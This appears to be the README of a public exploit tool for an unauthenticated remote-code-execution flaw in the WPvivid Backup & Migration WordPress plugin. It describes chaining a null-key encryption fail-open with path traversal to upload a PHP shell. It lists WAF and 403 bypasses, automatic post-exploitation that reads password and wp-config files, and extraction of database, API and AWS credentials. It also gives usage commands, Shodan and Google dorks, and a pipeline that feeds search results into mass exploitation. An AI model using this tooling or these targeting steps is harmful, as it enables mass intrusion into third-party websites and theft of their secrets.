Exploit for CVE-2026-1357

## https://sploitus.com/exploit?id=7267CD9E-8C27-5705-8A2C-2FCAEC7DE81F
# CVE-2026-1357 — WPvivid Backup & Migration RCE

> **CVE Credit:** Lucas Montes (NiRoX)  
> **Tool By:** CyberTechAjju  
> **CVSS:** 9.8 (Critical) | **Affected:** ≤ 0.9.123 | **Patched:** 0.9.124

---

## ⚠️ Disclaimer

For **authorized security testing only**. Unauthorized access to systems is illegal.

---

## Overview

Unauthenticated RCE in WPvivid Backup & Migration via two chained bugs:

1. **Crypto Fail-Open** — `openssl_private_decrypt()` returns `false` on bad key → `phpseclib` v1 treats it as null-byte AES key → attacker encrypts with 16 null bytes
2. **Path Traversal** — unsanitized `name` field → `../uploads/shell.php` escapes backup dir

**Constraint:** Exploitable only when `wpvivid_api_token` is generated and not expired.

---

## Features

| Feature | Description |
|---------|-------------|
| 🔍 **Auto-Detection** | WordPress + WPvivid plugin + version fingerprinting |
| 🛡️ **WAF Bypass** | User-Agent rotation, header spoofing, encoding tricks |
| 🔓 **403 Bypass** | X-Forwarded-For, X-Original-URL, path normalization, double encoding |
| 💀 **Auto-Exploit** | Null-key AES payload + path traversal upload |
| 📋 **Post-Exploit** | Auto-runs 20+ recon commands (id, whoami, passwd, wp-config, SUID, etc.) |
| 🔑 **Data Extractor** | Greps DB creds, API keys, passwords, AWS keys from output |
| 📊 **Report Gen** | Markdown PoC report with full exploitation evidence |
| ⚡ **Mass Scan** | Multi-threaded with proxy/Burp support |

---

## Install

```bash
git clone https://github.com/YOUR_USER/CVE-2026-1357-poc.git
cd CVE-2026-1357-poc
pip install -r requirements.txt
```

---

## Usage

```bash
# Scan only (detect WordPress + WPvivid + version)
python3 cve_2026_1357.py -u http://target.com

# Scan + Exploit + Auto Post-Exploitation
python3 cve_2026_1357.py -u http://target.com --exploit

# Exploit without post-exploitation recon
python3 cve_2026_1357.py -u http://target.com --exploit --no-post

# Mass scan with report
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

# Through Burp proxy
python3 cve_2026_1357.py -u http://target.com --exploit --proxy http://127.0.0.1:8080

# Payload-only mode
python3 cve_2026_1357.py -u http://x --payload-only
```

### All Options

```
-u, --url         Single target URL
-l, --list        File with URLs (one per line)
--exploit         Enable exploitation mode
--shell NAME      Shell filename (default: pwn_remote.php)
--no-post         Skip post-exploitation recon
--report          Generate markdown PoC report
--report-dir DIR  Report output directory
-t, --threads N   Concurrent threads (default: 5)
--timeout SECS    Request timeout (default: 10)
--proxy URL       HTTP proxy for Burp
--payload-only    Print base64 payload & exit
```



---

## Target Discovery (Dorks)

See **[dorks.md](dorks.md)** for full list. Quick ones:

```
# Shodan
http.html:"wpvivid-backuprestore"
http.html:"wpvivid" http.component:"WordPress"

# Google
inurl:"/wp-content/plugins/wpvivid-backuprestore/readme.txt"

# Pipeline
shodan search 'http.html:"wpvivid-backuprestore"' --fields ip_str,port --limit 500 \
  | awk '{print "http://"$1":"$2}' > targets.txt
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report
```

---

## Files

```
CVE-2026-1357-poc/
├── cve_2026_1357.py    ← Main tool (scanner + exploiter + post-exploit)
├── dorks.md            ← Shodan/Google/Censys/FOFA/ZoomEye dorks
├── requirements.txt    ← Python dependencies
├── .gitignore
└── README.md           ← This file
```

---

## Credits

**Lucas Montes (NiRoX)** — CVE Discovery  
**CyberTechAjju** — Exploit Tooling